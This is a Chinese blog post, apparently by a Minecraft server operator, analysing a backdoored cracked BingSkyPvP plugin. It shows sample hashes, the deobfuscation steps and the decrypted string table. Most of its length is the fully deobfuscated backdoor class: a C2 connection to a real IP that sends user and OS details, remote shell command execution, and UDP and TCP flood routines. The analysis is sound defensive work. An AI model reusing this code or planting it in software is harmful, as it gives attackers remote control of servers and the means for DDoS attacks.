背景
开服需要使用BingSkyPVP插件, 奈何正版到Docker里过不去验证, 无奈只好用破解版了.
却发现服务端经常无缘无故停止运行 (类似被直接KILL, 无任何提示) 于是怀疑和上次一样是插件后门
经过排查后, 发现了之前的破解版插件
样本信息
名称: [B]BingSkyPvP-4.12.2.jar
MD5: 0D507B2290D39A1BF7C23D75AEC04D7E
SHA-1: 394A419E6E28627CDCB2D28E3019DCA15C4C00B2
文件下载: [B]BingSkyPvP-4.12.2.jar
开始分析
确定后门位置
使用GDA反编译并MalScan, 发现插件中有执行系统命令的代码, 且比正版插件多出了一个进行过混淆的包 (l.M.x).
扫描结果:
#File Traversal:
[method@00198a] javassist.W.<init>
[method@002c2b] javassist.ws.a.a
[method@0032e7] org.apache.commons.codec.cli.Digest.run
#HTTP Connection:
[method@00031a] cn.yistars.bstats.MetricsBase.sendData
[method@0005dc] cn.yistars.nbtapi.utils.Metrics$MetricsBase.sendData
[method@000620] cn.yistars.nbtapi.utils.VersionChecker.checkForUpdates
[method@0006b1] cn.yistars.skypvp.SkyPvP.loadConfig0
[method@000868] cn.yistars.skypvp.verification.VerificationManager.doVerification
[method@00086b] cn.yistars.skypvp.verification.VerificationManager.refreshAuthor
[method@001987] javassist.V.a
[method@0045e3] org.apache.commons.logging.LogFactory$5.run
#Writing File :
[method@0025c4] javassist.o.write
[method@0025c5] javassist.o.write
[method@0025c6] javassist.o.write
#Execute command:
[method@002ec2] l.M.x.v_.v
可疑代码段, 一看这样子100%有问题:
// 代码被混淆,字符串被加密
private static void v(String p0,Socket p1){
Process process;
StringBuilder str1;
void ovoid = null;
try{
if (!System.getProperty(v_.ui[v_.bh]).contains(v_.ui[v_.H8c])) {
process = Runtime.getRuntime().exec(p0);
if (v_.m >= 0) {
throw ovoid;
}
}else {
process = Runtime.getRuntime().exec(v_.ui[v_.lx]+p0);
}
BufferedReader uBufferedRea = new BufferedReader(new InputStreamReader(process.getInputStream()));
StringBuilder str = "";
while (true) {
if ((str1 = uBufferedRea.readLine()) != null) {
if ((str1 = str.append(str1).append(v_.ui[v_.ft])) >= 0) {
throw ovoid;
}
continue ;
}else {
p1.getOutputStream().write((str+v_.ui[v_.ec]).getBytes());
if (v_.s) {
throw ovoid;
}
}
}
}catch(java.lang.Exception e0){
}
return;
}
故猜测整个l.M.x包都是后门
(注: 从下文开始反编译工具换为Jadx, 所以名称会不一样, l.M.x.v_.v对应的位置为: p0021.p003M.p004x.C549v_.C549v_)
本文仅分析p0021.p003M.p004x.C549v_ (远控主要代码)
解密字符串&不透明谓词
惊人的注意力
注意到, 代码中的字符串没有明文(从f3403ui这个数组中读取), 且数字常量均为动态计算得到, 还存在死代码(好一个不透明谓词). 代码如下所示
/* ... 省略一堆差不多的定义 ... */
private static final int f3501gT = (-262174164) ^ (-262174214);
private static final int f3502FS = I.m510o(-903758505) ^ I.m511N(-235577661, 1653440151);
private static final int f3503Oj = (I.m510o(-1487434203) ^ I.m511N(1462576015, 274345715)) & (-1);
private static final int f3504Y = I.m510o(1177464467) ^ 1529550547;
private static final int f3505CF = 1027496694 ^ I.m510o(-1051034436);
private static String m325v3(String z8) {
char[] IL = z8.toCharArray();
char[] X2 = new char[IL.length];
int Uz = f3492O8;
while (Uz < IL.length) {
int i = Uz % f3493mm;
if (i == f3494tf) {
X2[Uz] = (char) (IL[Uz] ^ (f3497P % S7m));
if (f3405s) {
throw null;
}
} else if (i == f3495nL) {
X2[Uz] = (char) (IL[Uz] ^ (f3498Wv % f3499Du));
if (f3404m >= 0) {
throw null;
}
} else if (i != f3496QZ) {
X2[Uz] = (char) (IL[Uz] ^ (z8.length() % f3502FS));
} else {
X2[Uz] = (char) (IL[Uz] ^ (f3500x % f3501gT));
if (f3404m >= 0) {
throw null;
}
}
Uz++;
if (f3405s) {
throw null;
}
}
/* ... 此处省略部分代码 ... */
}
考虑直接全部复制下来编译看结果 (虽说有点过于粗暴, 但是确实很好用)
IDEA随便开个项目, 将C0549v_与I两个类反编译得到的代码复制到文件中 (不用修改代码, 将最上方package定义删除即可)
简化不透明谓词
我的思路是在执行后直接遍历类中的字段, 反正最后计算结果不会变动, 只要读取完后覆盖到代码那一堆上即可
我们只需要简化C0549v_中的即可, 类I中的代码只是起计算作用
(注: 覆盖回去时有两个字段需要特殊处理, 一个是String[]另一个是boolean)
public class Main {
public static void main(String[] args) {
printProperties(C0549v_.class);
}
public static void printProperties(Class<?> clazz) {
// 获取所有声明的字段
Field[] fields = clazz.getDeclaredFields();
for (Field field : fields) {
try {
// 获取字段名称和值
String fieldName = field.getName();
Object fieldValue = field.get(clazz);
// 打印字段名称和值
System.out.println("private static final int " + fieldName + " = " + fieldValue + ";");
} catch (IllegalAccessException e) {
// 捕获无法访问字段的异常
System.err.println("Unable to access field: " + field.getName());
}
}
}
}
执行后你会得到一堆将字段赋值为数字的代码, 我们还需要在IDEA中使用 Control+Alt+N 将其内联到代码中
/* ... */
private static final int f1553p = 1431655765;
/* ... */
还原字符串
在下方代码中我们不难发现, 字符串均从一个数组中读出(f3403ui)
Socket socket = new Socket();
socket.connect(new InetSocketAddress(f3403ui[f3407U], f3408A), f3409a);
OutputStream outputStream = socket.getOutputStream();
String str = f3403ui[f3410b];
Object[] objArr = new Object[f3411f];
objArr[f3412C] = System.getProperty(f3403ui[f3413Cl]);
objArr[f3414R] = System.getProperty(f3403ui[f3415E]);
objArr[f3416N] = System.getProperty(f3403ui[f3417K]);
outputStream.write(String.format(str, objArr).getBytes());
查看该数组的交叉引用发现, 在函数m329u中对该数组进行了初始化, 最后赋值到了f3403ui中, 只要在代码中输出一下即可, 我们反正可以自己编译, 想咋改就咋改
public static void m329u() {
String[] strArr = new String[f3473V];
/* ... */
strArr[f3477Kr] = m325v3("#←DŽニ-\ufff7Ə");
strArr[f3478EM] = m325v3("#←DŽノ>\ufff9Ƃ");
strArr[f3479Q1] = m325v3("l");
strArr[f3480K0] = m325v3("/\ufff5Ƅロ#\ufff6Ə");
strArr[f3481L] = "";
/* ... */
strArr[f3490V4] = m325v3("ヲラ");
strArr[f3491V6] = m325v3("ヲ");
f3403ui = strArr;
}
最后得到的数组:
["75.119.146.125", "12354544\n%s %s %s 1\n", "user.name", "os.name", "os.arch", " ", "", "console", " ", "At", "UDP", "Join", "OpenAss", "os.name", "Windows", "cmd.exe /c ", "\n\r", "\n"]
将其全部内联到代码中. 怎么样? 经过这一堆操作, 代码是不是清晰多了?
真正的分析
经过上述操作后我们发现, 实际上这么多代码中只有一个函数是我们真的要分析的, 最后得到的代码(有注释)如下:
class C0549v_ {
// 主要代码
public C0549v_() {
while (true) {
try {
Thread.sleep(10000); // 休眠 (反沙箱?)
} catch (InterruptedException e) {
}
try {
Socket socket = new Socket();
socket.connect(new InetSocketAddress("75.119.146.125", 7267), 2000); // 连接C2服务器: 75.119.146.125:7267
OutputStream outputStream = socket.getOutputStream();
String str = "12354544\n%s %s %s 1\n"; // Magic: 12354544
Object[] objArr = new Object[3]; // 存储用户名, 系统型号, 系统架构
objArr[0] = System.getProperty("user.name");
objArr[1] = System.getProperty("os.name");
objArr[2] = System.getProperty("os.arch");
outputStream.write(String.format(str, objArr).getBytes()); // 组包, 发送
while (socket.isConnected()) {
String[] split = new BufferedReader(new InputStreamReader(socket.getInputStream())).readLine().split(" ");
if (split[0].equalsIgnoreCase("console")) { // 执行命令, 指令: console <将要执行的命令>
split[0] = "";
String join = String.join(" ", split);
new Thread(() -> {
Process exec;
try {
if (System.getProperty("os.name").contains("Windows")) { // 此处判断操作系统: Windows时使用cmd, Linux时直接执行
exec = Runtime.getRuntime().exec("cmd.exe /c " + join);
} else {
exec = Runtime.getRuntime().exec(join);
}
// 读取输出
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(exec.getInputStream()));
StringBuilder sb = new StringBuilder();
do {
String readLine = bufferedReader.readLine();
if (readLine == null) {
// 分行发送给服务器
socket.getOutputStream().write((sb + "\n").getBytes());
return;
}
sb.append(readLine).append("\n\r");
} while (true);
} catch (Exception e2) {
}
}).start();
}
// 指令: At <UDP/Join> <目标主机> <目标端口> <持续时间(s)> <线程数> [发包内容(可选, Join模式有效)]
if (split[0].equalsIgnoreCase("At")) {
String str2 = split[1];
int DPort = Integer.parseInt(split[2]); // 目标端口
int KeepingTime = Integer.parseInt(split[3]); // 持续时间
int SendingTimes = Integer.parseInt(split[4]); // 线程数
String str3 = split[5];
// UDPFlood, 指令: At UDP
if (str3.equalsIgnoreCase("UDP")) {
int i = 0;
while (i < SendingTimes) {
new Thread(() -> {
InetAddress inetAddress = null;
byte[] bArr = new byte[60000];
SecureRandom secureRandom = new SecureRandom();
try {
inetAddress = InetAddress.getByName(str2); // 获取目标地址
} catch (UnknownHostException e2) {
}
secureRandom.nextBytes(bArr);
DatagramPacket datagramPacket = new DatagramPacket(bArr, bArr.length, inetAddress, DPort);
long currentTimeMillis = System.currentTimeMillis() + (KeepingTime * 1000);
while (currentTimeMillis - System.currentTimeMillis() > 0) {
try {
DatagramSocket datagramSocket = new DatagramSocket();
datagramSocket.connect(inetAddress, DPort);
datagramSocket.send(datagramPacket);
datagramSocket.send(datagramPacket);
datagramSocket.send(datagramPacket);
datagramSocket.send(datagramPacket);
datagramSocket.send(datagramPacket);
datagramSocket.send(datagramPacket);
datagramSocket.send(datagramPacket);
datagramSocket.send(datagramPacket);
datagramSocket.send(datagramPacket);
datagramSocket.send(datagramPacket);
datagramSocket.send(datagramPacket);
datagramSocket.send(datagramPacket);
datagramSocket.send(datagramPacket);
datagramSocket.send(datagramPacket);
datagramSocket.send(datagramPacket);
datagramSocket.send(datagramPacket);
datagramSocket.send(datagramPacket);
datagramSocket.send(datagramPacket);
datagramSocket.send(datagramPacket);
datagramSocket.send(datagramPacket);
datagramSocket.send(datagramPacket);
datagramSocket.send(datagramPacket);
datagramSocket.send(datagramPacket);
datagramSocket.send(datagramPacket);
datagramSocket.close();
} catch (Exception e3) {
}
}
}).start();
i++;
}
}
// TCPFlood, 指令: At Join
if (str3.equalsIgnoreCase("Join")) {
String str4 = split.length == 7 ? split[6] : str2; // 如果有附加参数则填充, 没有则填充目标主机
byte[] bArr = new byte[512];
byte[] bytes = str4.getBytes();
int i2 = 0;
while (i2 < str4.length()) {
bArr[4 + i2] = bytes[i2];
i2++;
}
// 前4个字节为空, 然后开始填充str4, 后4个字节为空
int length = str4.length() + 4;
bArr[length] = (byte) ((DPort >> 8) & 255);
bArr[length + 1] = (byte) (DPort & 255);
bArr[length + 2] = (byte) 2;
bArr[length + 4] = (byte) 0;
String str5 = "OpenAss";
bArr[length + 5] = (byte) str5.length();
byte[] bytes2 = str5.getBytes();
int i3 = 0;
while (i3 < str5.length()) {
bArr[length + 6 + i3] = bytes2[i3];
i3++;
}
// 在之后填充端口号字节 + 0x2 + 0x0 + 0x0 + 7 + "OpenAss"
bArr[length + 3] = (byte) (str5.length() + 2);
int length2 = length + 5 + str5.length() + 1;
int i4 = 0;
// 上述代码均为组包
while (i4 < SendingTimes) {
new Thread(() -> {
InetSocketAddress inetSocketAddress = new InetSocketAddress(str2, DPort);
long currentTimeMillis = System.currentTimeMillis() + (KeepingTime * 1000);
while (currentTimeMillis - System.currentTimeMillis() > 0) {
try {
Socket socket2 = new Socket();
socket2.connect(inetSocketAddress, 1000);
socket2.getOutputStream().write(bArr, 0, length2);
socket2.close();
} catch (Exception e2) {
}
}
}).start();
i4++;
}
}
}
}
} catch (Exception e2) {
}
}
}
}
在刚连接时向C2发送"12354544 + 用户名 + 系统型号 + 系统架构 + 1", 然后等待C2下发指令
TCPFlood数据包组包逻辑, 由GPT生成 (str4: 发包内容或目标主机, DPort: 目标端口, str5: "OpenAss")
C2信息
(BTW, 这个C2好像挂了; 那么, 为什么服务器会被KILL呢???)
总结
尽量支持正版软件, 使用破解软件需谨慎.